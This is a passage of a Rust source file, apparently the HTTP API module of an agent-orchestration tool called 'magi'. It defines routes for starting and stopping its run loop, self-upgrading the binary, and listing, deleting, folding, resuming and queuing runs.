1709    /// The only place a crashed loop is visible to someone holding a phone.
1710    /// It is logged at error level as well, but a terminal nobody kept open
1711    /// is not a report, and a loop that died at 3am must not read as merely
1712    /// stopped in the morning. Named as [`Task::last_error`] is, because it
1713    /// answers the same question about the same kind of failure.
1714    last_error: Option<String>,
1715    /// The status file, judged the same way `/api/health` judges it: this is
1716    /// what says whether a loop is alive in some *other* process.
1717    daemon: DaemonView,
1718}
1719
1720/// A loop another process already owns.
1721///
1722/// `<home>/daemon.json` is the only cross-process signal there is, so this is
1723/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
1724/// published by a pid that is not ours. Excluding our own pid is what makes
1725/// stopping work at all - the loop this process runs writes that file too, so
1726/// a check that ignored the pid would decide the operator's own UI was a
1727/// stranger and refuse to stop the loop it had just started.
1728#[derive(Debug, Clone, Copy)]
1729struct Foreign {
1730    /// The pid the other process published, when it published one.
1731    pid: Option<u32>,
1732}
1733
1734impl Foreign {
1735    /// Another process's live loop, or `None` when this process is free to
1736    /// run one.
1737    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1738        let reading = reading?;
1739        if !reading.running(Timestamp::now()) {
1740            return None;
1741        }
1742        match reading.pid {
1743            Some(pid) if pid == std::process::id() => None,
1744            // A fresh heartbeat with no pid in it is still evidence of a live
1745            // daemon. "Some other process" is the honest answer, and refusing
1746            // to start beside it is the safe one.
1747            pid => Some(Self { pid }),
1748        }
1749    }
1750
1751    /// How a conflict names it. The pid is the whole point of the message: it
1752    /// is what the operator needs to find the terminal that owns the loop.
1753    fn who(&self) -> String {
1754        match self.pid {
1755            Some(pid) => format!("another magi process (pid {pid})"),
1756            None => "another magi process".to_owned(),
1757        }
1758    }
1759}
1760
1761/// How a loop is started, as a future this module can hold onto.
1762///
1763/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
1764/// trait object or a hand-written `Debug` impl for the sake of one seam.
1765type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1766
1767/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
1768fn launch_daemon(
1769    opts: daemon::Opts,
1770    stop: daemon::Stop,
1771) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1772    Box::pin(daemon::serve_until(opts, stop))
1773}
1774
1775/// The loop this process runs, behind one lock.
1776#[derive(Debug, Default)]
1777struct LoopState {
1778    /// The loop, while there is one.
1779    live: Option<Live>,
1780    /// Bumped on every change to this struct, and streamed as `loop_rev`.
1781    ///
1782    /// The loop is in-process state rather than a file, so nothing on disk
1783    /// would tell a second phone that the first one started it. Without this
1784    /// counter the only way to learn about a start, a stop request or a crash
1785    /// would be to poll `/api/loop`, which is the thing the change stream
1786    /// exists to avoid on a mobile link.
1787    rev: u64,
1788    /// Why the last loop ended, when it ended badly. See
1789    /// [`LoopView::last_error`].
1790    last_error: Option<String>,
1791}
1792
1793/// A loop in flight.
1794#[derive(Debug)]
1795struct Live {
1796    /// The cooperative stop, shared with the loop task.
1797    stop: daemon::Stop,
1798    /// The task itself, kept only to answer whether it is still there: a loop
1799    /// that panicked never records its own end, and without this the view
1800    /// would go on reporting a loop that no longer exists - the one lie that
1801    /// would leave the operator with no button to press.
1802    handle: tokio::task::JoinHandle<()>,
1803    /// What the loop was started with, so the view reports the repository and
1804    /// merge mode its runs will actually use rather than what an edit to the
1805    /// config since would give.
1806    opts: daemon::Opts,
1807}
1808
1809impl Live {
1810    /// Is the task still there? See [`Live::handle`].
1811    fn alive(&self) -> bool {
1812        !self.handle.is_finished()
1813    }
1814}
1815
1816/// Take the loop lock, recovering from a poisoned one.
1817///
1818/// What this mutex holds is a stop flag, a task handle and two counters, none
1819/// of which a panic elsewhere can leave in a state worth refusing to read.
1820/// Propagating the poison instead would mean an operator who can see the loop
1821/// running and can no longer stop it from the only surface they have.
1822fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1823    state.lock().unwrap_or_else(PoisonError::into_inner)
1824}
1825
1826/// `GET /api/loop`.
1827async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1828    blocking(move || {
1829        let reading = daemon::read_status(&ui.home);
1830        Ok(Json(ui.loop_view(reading)))
1831    })
1832    .await
1833}
1834
1835/// The body of `POST /api/loop`.
1836///
1837/// One required field and nothing else: no `default` and no unknown fields,
1838/// so a body that fails to say which way the switch was flipped is a 400
1839/// rather than a tap that quietly does the opposite of what was pressed.
1840#[derive(Debug, Deserialize)]
1841#[serde(deny_unknown_fields)]
1842struct LoopCommand {
1843    running: bool,
1844    /// Stop the run in flight at its next node boundary rather than letting it
1845    /// finish.
1846    ///
1847    /// Defaults to false, so the plain stop keeps meaning what it meant: a
1848    /// competition is tens of minutes of paid work and finishing it is
1849    /// normally the cheapest thing to do. A park is for the operator who
1850    /// wants the process gone now - to replace the binary, most of all - and
1851    /// it costs at most the node in progress because every node writes its
1852    /// state before the next one starts.
1853    #[serde(default)]
1854    park: bool,
1855}
1856
1857/// `POST /api/loop` - start the loop in this process, or ask it to stop.
1858///
1859/// Answers with the view rather than waiting for the loop to reach the state
1860/// that was asked for. Starting is immediate anyway; stopping is not, and the
1861/// wait is a run's worth of minutes, which is not a thing to hold a phone's
1862/// request open for. `stopping` in the answer is what the operator watches
1863/// instead.
1864async fn loop_post(
1865    State(ui): State<Arc<Ui>>,
1866    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1867) -> ApiResult<Json<LoopView>> {
1868    // Taken as a `Result` so a malformed body is a 400 like every other route
1869    // here, rather than axum's default 422 that the UI has no branch for.
1870    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1871    blocking(move || {
1872        let reading = daemon::read_status(&ui.home);
1873        let foreign = Foreign::of(reading.as_ref());
1874        if body.running {
1875            ui.start_loop(foreign)?;
1876        } else {
1877            ui.stop_loop(foreign, body.park)?;
1878        }
1879        Ok(Json(ui.loop_view(reading)))
1880    })
1881    .await
1882}
1883
1884/// What `POST /api/upgrade` set in motion.
1885#[derive(Debug, Serialize)]
1886struct UpgradeView {
1887    /// The version this process is running.
1888    from: String,
1889    /// The release it is replacing itself with, when there is one.
1890    to: Option<String>,
1891    /// A run was parked first, and this is its id.
1892    parked: Option<String>,
1893    /// What the operator should expect to happen next.
1894    detail: String,
1895}
1896
1897/// `POST /api/upgrade` - replace this binary with the newest release and come
1898/// back on it.
1899///
1900/// The one thing the deck could not do for itself. Every fix landed today
1901/// either waited for a competition to end or went in with the deck stopped,
1902/// because `cargo install` cannot overwrite a running executable on Windows.
1903/// `kaishin` can: `self_replace` **renames** the running image aside and puts
1904/// the new one in its place, so the swap itself needs no downtime. Only the
1905/// restart does, and the order is the whole design:
1906///
1907/// 1. **Park.** A run in flight stops at its next node boundary and stays
1908///    resumable, so this costs at most the node in progress rather than the
1909///    competition. Without it the honest choices were waiting an hour or
1910///    discarding paid agent work.
1911/// 2. **Replace.** The new binary goes into place while this one still runs.
1912/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
1913///    successor - see [`spawn_successor`] for what happens in the other
1914///    order.
1915/// 4. **Resume.** The next loop carries the parked run on rather than
1916///    competing again; see `daemon::attempt`.
1917///
1918/// Answers **202**: the reply has to reach the phone while this process can
1919/// still send one, and the phone learns the deck is back by reconnecting.
1920async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1921    let reading = daemon::read_status(&ui.home);
1922    if let Some(other) = Foreign::of(reading.as_ref()) {
1923        return Err(ApiError::conflict(format!(
1924            "the loop belongs to {}, so replacing this binary would leave \
1925             that process running an old one against the same queue. Upgrade \
1926             where it was started.",
1927            other.who()
1928        )));
1929    }
1930
1931    // The same kill switch the background check honours (`disabled_by_env`),
1932    // checked before anything else for the same reason it is read before the
1933    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
1934    // contact GitHub from this process", and a button press must not
1935    // override that any more than a broken `magi.toml` may.
1936    if crate::updater::disabled_by_env() {
1937        return Ok((
1938            StatusCode::OK,
1939            Json(UpgradeView {
1940                from: env!("CARGO_PKG_VERSION").to_owned(),
1941                to: None,
1942                parked: None,
1943                detail: format!(
1944                    "Automatic updates are disabled by {}. Nothing was parked \
1945                     and nothing restarted.",
1946                    crate::updater::NO_AUTOUPDATE_ENV
1947                ),
1948            }),
1949        ));
1950    }
1951
1952    // Asked before anything is disturbed. Restarting when there is nothing
1953    // to install is not a harmless no-op: it parks the run in flight and
1954    // drops every connection to pay for an upgrade that did not happen. A
1955    // probe against a deck already on the newest build did exactly that.
1956    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1957    let from = env!("CARGO_PKG_VERSION").to_owned();
1958    let latest = match crate::updater::Checker::new(&cfg.update) {
1959        Some(checker) => checker
1960            .newer_release()
1961            .await
1962            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1963        None => None,
1964    };
1965    let Some(latest) = latest else {
1966        return Ok((
1967            StatusCode::OK,
1968            Json(UpgradeView {
1969                from,
1970                to: None,
1971                parked: None,
1972                detail: "Already on the newest release. Nothing was parked \
1973                         and nothing restarted."
1974                    .to_owned(),
1975            }),
1976        ));
1977    };
1978
1979    // Parked before anything is replaced: a successor that came up while a
1980    // run was mid-node would find a run nobody is driving.
1981    let parked = ui.park_for_upgrade()?;
1982    let detail = match &parked {
1983        // Honest about the wait. A park takes effect at the *next* node
1984        // boundary, so a run mid-implement finishes that wave first - up to
1985        // `timeout_implement`, an hour by default. Saying "restarting now"
1986        // would make the deck look wedged for the rest of it.
1987        Some(run) => format!(
1988            "Run {} is parking at its next step, which can take as long as \
1989             the step it is on - up to an hour for an implement wave. The \
1990             deck replaces itself once it parks, comes back, and the loop \
1991             carries that run on from where it stopped. Nothing is lost if \
1992             you close this.",
1993            crate::run::short_of(run)
1994        ),
1995        None => "The deck replaces itself and comes back. Nothing was in \
1996                 flight to park."
1997            .to_owned(),
1998    };
1999
2000    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2001    // poll must see a `Downloading` stage immediately, not whenever the
2002    // spawned task happens to get scheduled.
2003    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2004    progress.parked_run = parked.clone();
2005    let _ = updater::write_progress(&ui.home, &progress);
2006
2007    let home = ui.home.clone();
2008    tokio::spawn(async move {
2009        if let Err(e) = upgrade_and_restart(home.clone()).await {
2010            tracing::error!("the upgrade did not complete: {e:#}");
2011            if let Some(mut progress) = updater::read_progress(&home) {
2012                progress.fail(format!("{e:#}"));
2013                let _ = updater::write_progress(&home, &progress);
2014            }
2015        }
2016    });
2017
2018    Ok((
2019        StatusCode::ACCEPTED,
2020        Json(UpgradeView {
2021            from,
2022            to: Some(latest.tag_name),
2023            parked,
2024            detail,
2025        }),
2026    ))
2027}
2028
2029/// Replace the binary, then ask [`serve`] to hand the address over.
2030///
2031/// Separated from the handler so the 202 is already on its way, and separated
2032/// from the spawn so the successor starts only after the listener is dropped.
2033async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2034    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2035    // hang the upgrade for as long as the process lives.
2036    crate::updater::run_self_update(true, false, true).await?;
2037    tracing::info!("binary replaced - asking the server to hand over");
2038    if let Some(mut progress) = updater::read_progress(&home) {
2039        progress.advance(updater::Stage::Replaced);
2040        let _ = updater::write_progress(&home, &progress);
2041    }
2042    HANDOVER.notify_one();
2043    Ok(())
2044}
2045
2046/// One row in the run list.
2047///
2048/// The list route returns this rather than whole `RunState`s: the summary of a
2049/// run is a few hundred bytes and the state is megabytes, and the difference
2050/// is what makes the history usable on a mobile link.
2051#[derive(Debug, Serialize)]
2052struct RunSummary {
2053    id: String,
2054    short: String,
2055    status: String,
2056    done: bool,
2057    instruction: String,
2058    title: String,
2059    repo: String,
2060    repo_name: String,
2061    created_at: String,
2062    updated_at: String,
2063    candidates: usize,
2064    viable: usize,
2065    judges: usize,
2066    winner: Option<char>,
2067    reviews: usize,
2068    quota_losses: usize,
2069    event: Option<String>,
2070    /// The later attempt at the same task that replaced this one, if any.
2071    ///
2072    /// Two cards with one title is otherwise unreadable: this is what lets
2073    /// the deck say "superseded by 4043" on the older of the pair.
2074    superseded_by: Option<String>,
2075    /// Blocked on a question nobody has answered.
2076    ///
2077    /// Derived from the question store rather than stored on the run: an agent
2078    /// calling `magi ask` blocks mid-node, and writing a status from there
2079    /// would race the graph's own save of `run.json` and be overwritten at the
2080    /// next node boundary. Asking the store is always true and never races.
2081    waiting: bool,
2082    /// The land loop's last look at the pull request, when there is one.
2083    pr: Option<crate::run::PrRecord>,
2084}
2085
2086impl RunSummary {
2087    fn of(state: &RunState, waiting: bool) -> Self {
2088        Self {
2089            id: state.id.clone(),
2090            short: state.short().to_owned(),
2091            status: status_word(state.status),
2092            done: state.status.done(),
2093            instruction: state.instruction.clone(),
2094            title: title_from(&state.instruction, TITLE_MAX),
2095            repo: state.repo.display().to_string(),
2096            repo_name: state
2097                .repo
2098                .file_name()
2099                .map(|n| n.to_string_lossy().into_owned())
2100                .unwrap_or_default(),
2101            created_at: state.created_at.to_string(),
2102            updated_at: state.updated_at.to_string(),
2103            candidates: state.candidates.len(),
2104            viable: state.viable().len(),
2105            judges: state.config.graph.judges,
2106            winner: state.winner().map(|c| c.label),
2107            reviews: state.reviews.len(),
2108            quota_losses: state.quota.len(),
2109            event: state.events.last().map(|e| e.message.clone()),
2110            waiting,
2111            // Filled in by the list route, which is the only place that can
2112            // see a task's other attempts.
2113            superseded_by: None,
2114            pr: state.pr.clone(),
2115        }
2116    }
2117}
2118
2119/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2120/// the same string `serde` writes for the status inside a full run.
2121fn status_word(status: RunStatus) -> String {
2122    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2123    // was a third way of naming the same statuses, and one that changed
2124    // silently with a derive.
2125    status.as_str().to_owned()
2126}
2127
2128/// `?limit=`, clamped by the handler.
2129#[derive(Debug, Deserialize)]
2130struct ListQuery {
2131    #[serde(default)]
2132    limit: Option<usize>,
2133}
2134
2135async fn runs_list(
2136    State(ui): State<Arc<Ui>>,
2137    Query(q): Query<ListQuery>,
2138) -> ApiResult<Json<Vec<RunSummary>>> {
2139    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2140    blocking(move || {
2141        let superseded = superseded_runs(&ui.queue);
2142        let summaries = run_ids(&ui.runs)
2143            .into_iter()
2144            // A run whose state cannot be read is skipped, not fatal: a run
2145            // killed mid-write must not blank the history of every other one.
2146            // The detail route still explains it, which is where an operator
2147            // asking "what happened to that run" ends up.
2148            .filter_map(|id| read_run(&ui.runs, &id).ok())
2149            .take(limit)
2150            .map(|state| {
2151                let waiting = !ui.questions.open_for(&state.id).is_empty();
2152                let by = superseded.get(&state.id).cloned();
2153                let mut row = RunSummary::of(&state, waiting);
2154                row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
2155                row
2156            })
2157            .collect();
2158        Ok(Json(summaries))
2159    })
2160    .await
2161}
2162
2163/// Runs that a later attempt at the same task replaced, mapped to the id of
2164/// the attempt that replaced them.
2165///
2166/// A task keeps its attempts in order, and the deck showed them as two cards
2167/// with the same title and no hint which was which: yukimemi asked why
2168/// `stalled` and `blocked` appeared twice for one task, and the answer -
2169/// "those are two tries, and the second one exists because of a bug since
2170/// fixed" - was not on the screen anywhere.
2171///
2172/// Read from the queue rather than stored on the run, because the ordering is
2173/// the queue's fact: a `RunState` has no idea another attempt happened after
2174/// it.
2175fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
2176    let mut by = HashMap::new();
2177    for task in queue.list() {
2178        for pair in task.runs.windows(2) {
2179            if let [earlier, later] = pair {
2180                by.insert(earlier.clone(), later.clone());
2181            }
2182        }
2183    }
2184    by
2185}
2186
2187/// A run as the detail route hands it to the phone.
2188///
2189/// The whole state, flattened, plus `instruction_md`: the Task panel renders
2190/// the instruction as markdown, and the raw `instruction` field this struct
2191/// still carries (unchanged) is what a client wanting the exact bytes reads
2192/// instead.
2193#[derive(Debug, Serialize)]
2194struct RunDetailView {
2195    #[serde(flatten)]
2196    state: RunState,
2197    instruction_md: Vec<md::Node>,
2198    /// Whether a live daemon currently claims this run.
2199    ///
2200    /// `state.active` (flattened in above) is only ever cleared by the
2201    /// process that populated it; a killed one leaves its last wave's
2202    /// entries behind. Carrying this alongside is what lets the phone rail
2203    /// tell "this seat is still answering" from "this seat was still
2204    /// answering when whatever was driving this run died" without a second
2205    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
2206    /// proof of either.
2207    live: bool,
2208}
2209
2210impl RunDetailView {
2211    fn of(state: RunState, live: bool) -> Self {
2212        Self {
2213            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2214            live,
2215            state,
2216        }
2217    }
2218}
2219
2220async fn run_detail(
2221    State(ui): State<Arc<Ui>>,
2222    Path(id): Path<String>,
2223) -> ApiResult<Json<RunDetailView>> {
2224    blocking(move || {
2225        let id = resolve_run(&ui.runs, &id)?;
2226        let state = read_run(&ui.runs, &id)?;
2227        let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2228        Ok(Json(RunDetailView::of(state, live)))
2229    })
2230    .await
2231}
2232
2233/// `DELETE /api/runs/{id}`.
2234///
2235/// Remove a finished, folded run directory along with its artifacts.
2236/// Running runs and runs with unfolded candidate worktrees/branches cannot be
2237/// deleted. This never touches git worktrees or branches - except for a run
2238/// whose state this build cannot read at all, where there is no candidate
2239/// list to check and the wholesale removal `magi fold` already uses for that
2240/// case is the only meaningful "delete".
2241async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2242    let (id, unreadable) = {
2243        let ui = Arc::clone(&ui);
2244        blocking(move || {
2245            let id = resolve_run(&ui.runs, &id)?;
2246            match read_run(&ui.runs, &id) {
2247                Ok(state) => {
2248                    let in_flight =
2249                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2250                    state
2251                        .ensure_can_delete(in_flight)
2252                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2253                    let dir = ui.runs.join(&id);
2254                    std::fs::remove_dir_all(&dir)
2255                        .with_context(|| format!("remove run directory {}", dir.display()))?;
2256                    Ok((id, false))
2257                }
2258                Err(_) => {
2259                    // Unreadable: there is no candidate list to guard on, so
2260                    // a live daemon's claim is the only thing left to check -
2261                    // the same rule `run_fold` applies for the same reason.
2262                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2263                        return Err(ApiError::conflict(format!(
2264                            "run {id} is being worked on by a live daemon right now"
2265                        )));
2266                    }
2267                    Ok((id, true))
2268                }
2269            }
2270        })
2271        .await?
2272    };
2273    if unreadable {
2274        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2275            .await
2276            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2277    }
2278    let ui = Arc::clone(&ui);
2279    let done = id.clone();
2280    blocking(move || {
2281        // The agent that asked died with the run, so an open question would
2282        // keep asking the operator for a decision nobody can deliver.
2283        ui.questions.abandon_for_run(
2284            &done,
2285            &format!("run {done} was deleted, so nothing is waiting for this answer"),
2286        )?;
2287        Ok(())
2288    })
2289    .await?;
2290    Ok(StatusCode::NO_CONTENT)
2291}
2292
2293/// `POST /api/runs/{id}/fold`.
2294///
2295/// Remove a run's candidate worktrees and branches, keeping its record.
2296///
2297/// This exists because the deck answered "delete this run" with *"Candidates
2298/// must be folded before deleting. Run `magi fold` first."* — a phone being
2299/// told to open a terminal, in the one product whose point is that it does
2300/// not need one. The runs an operator most wants gone are the stalled and
2301/// blocked ones, and those are exactly the runs still holding worktrees:
2302/// three of them here held 53 GB.
2303///
2304/// The winner's tree goes too. A fold is what someone asks for when they are
2305/// finished with a run, and leaving one tree behind would leave the delete
2306/// button disabled for the same reason as before.
2307///
2308/// Refused while a live daemon is working on the run, on the rule that guards
2309/// deletion: folding underneath a running agent would pull the tree it is
2310/// editing out from under it.
2311///
2312/// A run whose state this build cannot read at all falls back to
2313/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
2314/// selectively, so the whole record's worktree goes wholesale, exactly what
2315/// `magi fold` does on the command line for the same run.
2316async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2317    let (id, state) = {
2318        let ui = Arc::clone(&ui);
2319        blocking(move || {
2320            let id = resolve_run(&ui.runs, &id)?;
2321            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2322                return Err(ApiError::conflict(format!(
2323                    "run {id} is being worked on by a live daemon right now"
2324                )));
2325            }
2326            let state = read_run(&ui.runs, &id).ok();
2327            Ok((id, state))
2328        })
2329        .await?
2330    };
2331    let removed = match state {
2332        Some(mut state) => {
2333            let removed = crate::graph::fold_run(&mut state, true)
2334                .await
2335                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2336            // Nothing left to remove is not the same thing as nothing left to
2337            // do — see `clean::clear_abandoned_active`'s own doc for the run
2338            // this exists for: worktrees already gone, but a killed process
2339            // left active seats nobody will ever answer for.
2340            if removed.is_empty() {
2341                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2342                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2343            }
2344            removed
2345        }
2346        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2347            .await
2348            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2349    };
2350    Ok(Json(FoldView {
2351        run: id,
2352        removed_count: removed.len(),
2353        removed,
2354    }))
2355}
2356
2357/// What a fold took away, so the deck can say so rather than only re-render.
2358#[derive(Debug, Serialize)]
2359struct FoldView {
2360    run: String,
2361    /// Worktree paths and branch names removed, in the order they went.
2362    removed: Vec<String>,
2363    removed_count: usize,
2364}
2365
2366/// `POST /api/runs/{id}/resume`.
2367///
2368/// Carry a stalled run on from where it stopped, in the background.
2369///
2370/// A stalled card says "the work is kept" and used to offer no way to act on
2371/// that: the candidates are built and paid for, and continuing means re-asking
2372/// only the seats whose absence collapsed the panel. The alternative an
2373/// operator actually had was releasing the task, which competes three fresh
2374/// implementations against work that already exists.
2375///
2376/// **202, not 200.** A resume runs agents for minutes; holding the connection
2377/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
2378/// phone learns the outcome from the change stream.
2379///
2380/// Refused when the loop is running at all, not merely when it is on this run.
2381/// The scarce resource is the agent CLIs' quota, and a tap that quietly
2382/// started a second graph on top of whatever the loop is already driving —
2383/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
2384/// allows — would spend that quota twice over for no extra throughput.
2385async fn run_resume(
2386    State(ui): State<Arc<Ui>>,
2387    Path(id): Path<String>,
2388) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2389    let (id, state) = {
2390        let ui = Arc::clone(&ui);
2391        blocking(move || {
2392            let id = resolve_run(&ui.runs, &id)?;
2393            let state = read_run(&ui.runs, &id)?;
2394            Ok((id, state))
2395        })
2396        .await?
2397    };
2398    if !state.status.resumable() {
2399        return Err(ApiError::conflict(format!(
2400            "run {} is `{}`, and only a stalled or blocked run can be resumed",
2401            state.short(),
2402            status_word(state.status)
2403        )));
2404    }
2405    // Refused whenever the loop is running anything at all, not merely when
2406    // it is on this run: a manual resume racing a loop-driven run over the
2407    // same agent quota is the thing this guard exists to prevent, whether
2408    // the loop's own concurrency is one run or several.
2409    if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2410        .into_iter()
2411        .next()
2412    {
2413        return Err(ApiError::conflict(format!(
2414            "the loop is running run {} right now; stop it first, or wait for \
2415             it to finish, before resuming a run by hand.",
2416            crate::run::short_of(&work.run)
2417        )));
2418    }
2419    let _resume = ui.begin_resume(&id)?;
2420
2421    // The same shape the list route returns, so the phone updates the card it
2422    // already has rather than learning a second schema for one button.
2423    let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
2424    let run = id.clone();
2425    tokio::spawn(async move {
2426        let _resume = _resume;
2427        match crate::graph::Runner::resume(&run) {
2428            Ok(mut runner) => {
2429                if let Err(e) = runner.execute().await {
2430                    tracing::warn!("resume of run {run} stopped: {e:#}");
2431                }
2432            }
2433            // The run's own record is what the phone reads; this line is for
2434            // the operator's terminal.
2435            Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2436        }
2437    });
2438    Ok((StatusCode::ACCEPTED, Json(queued)))
2439}
2440
2441async fn run_report(
2442    State(ui): State<Arc<Ui>>,
2443    Path(id): Path<String>,
2444) -> ApiResult<impl IntoResponse> {
2445    let text = blocking(move || {
2446        let id = resolve_run(&ui.runs, &id)?;
2447        // Colour is off for the whole process, set once in `serve`. Rendering
2448        // is CPU work over the full state, which is the other reason this is
2449        // not on the executor.
2450        let state = read_run(&ui.runs, &id)?;
2451        let live = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2452        Ok(format!(
2453            "{}{}",
2454            report::run(&state),
2455            report::active_seats(&state, live)
2456        ))
2457    })
2458    .await?;
2459    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2460}
2461
2462/// A task as the UI sees it.
2463///
2464/// The whole task, plus the two things the client would otherwise have to
2465/// reimplement: the human-readable source and the status string. Nothing is
2466/// removed - the phone shows `last_error` and the run history verbatim.
2467#[derive(Debug, Serialize)]
2468struct TaskView {
2469    #[serde(flatten)]
2470    task: Task,
2471    source_label: String,
2472    status_str: &'static str,
2473    /// The instruction, parsed as markdown, for the Queue card's "Full
2474    /// instruction" panel. `task.instruction` is unchanged and still carries
2475    /// the raw text.
2476    instruction_md: Vec<md::Node>,
2477}
2478
2479impl From<Task> for TaskView {
2480    fn from(task: Task) -> Self {
2481        Self {
2482            source_label: task.source.label(),
2483            status_str: task.status.as_str(),
2484            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2485            task,
2486        }
2487    }
2488}
2489
2490/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
2491/// its absence, leaves the cache to decide.
2492#[derive(Debug, Default, Deserialize)]
2493#[serde(default)]
2494struct ReposQuery {
2495    refresh: u8,
2496}
2497
2498/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
2499/// listing `magi repos` prints at a terminal.
2500///
2501/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
2502/// so an edit to `magi.toml` takes effect without a restart, the same
2503/// reasoning [`config_for`] documents for the talk routes.
2504async fn repos_list(
2505    State(ui): State<Arc<Ui>>,
2506    Query(q): Query<ReposQuery>,
2507) -> ApiResult<Json<Vec<repos::Repo>>> {
2508    let refresh = q.refresh != 0;
2509    blocking(move || {
2510        let (cfg, _) = Config::discover(&ui.repo, None)?;
2511        Ok(Json(ui.repos_cache.list(
2512            &cfg.repos.roots,
2513            Duration::from_secs(cfg.repos.scan_ttl),
2514            refresh,
2515        )))
2516    })
2517    .await
2518}
2519
2520async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2521    blocking(move || {
2522        Ok(Json(
2523            ui.queue.list().into_iter().map(TaskView::from).collect(),
2524        ))
2525    })
2526    .await
2527}
2528
2529/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
2530/// gives no reason - which must keep working, since not every hold has one.
2531#[derive(Debug, Default, Deserialize)]
2532#[serde(default, deny_unknown_fields)]
2533struct HoldBody {
2534    reason: Option<String>,
2535}
2536
2537async fn queue_hold(
2538    State(ui): State<Arc<Ui>>,
2539    Path(id): Path<String>,
2540    body: std::result::Result<Json<HoldBody>, JsonRejection>,
2541) -> ApiResult<Json<TaskView>> {
2542    // An absent body is the ordinary case - most holds are unexplained, and
2543    // that has to stay a one-tap action rather than a form. A body that is
2544    // present and malformed is still a bad request.
2545    let body = match body {
2546        Ok(Json(body)) => body,
2547        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
2548        Err(e) => return Err(ApiError::bad_request(e.body_text())),
2549    };
2550    let reason = body.reason.filter(|r| !r.trim().is_empty());
2551    mutate(ui, id, move |t| {
2552        t.hold_manual(reason.clone());
2553        Ok(())
2554    })
2555    .await
2556}
2557
2558async fn queue_release(
2559    State(ui): State<Arc<Ui>>,
2560    Path(id): Path<String>,
2561) -> ApiResult<Json<TaskView>> {
2562    mutate(ui, id, |t| {
2563        t.release();
2564        Ok(())
2565    })
2566    .await
2567}
2568
2569/// The body of `POST /api/queue/{id}/priority`.
2570#[derive(Debug, Deserialize)]
2571#[serde(deny_unknown_fields)]
2572struct PriorityBody {
2573    priority: i32,
2574}
2575
2576/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
2577///
2578/// [`Task::set_priority`] is the one place the "not while running" rule is
2579/// stated; this route only carries the body to it and lets its `Err` become
2580/// the 4xx the card shows.
2581async fn queue_priority(
2582    State(ui): State<Arc<Ui>>,
2583    Path(id): Path<String>,
2584    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
2585) -> ApiResult<Json<TaskView>> {
2586    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2587    mutate(ui, id, move |t| t.set_priority(body.priority)).await
2588}
2589
2590/// The body of `POST /api/queue/{id}/edit`.
2591#[derive(Debug, Deserialize)]
2592#[serde(deny_unknown_fields)]
2593struct EditBody {
2594    title: String,
2595    instruction: String,
2596}
2597
2598/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
2599/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
2600/// that refusal's message is what the sheet shows back.
2601async fn queue_edit(
2602    State(ui): State<Arc<Ui>>,
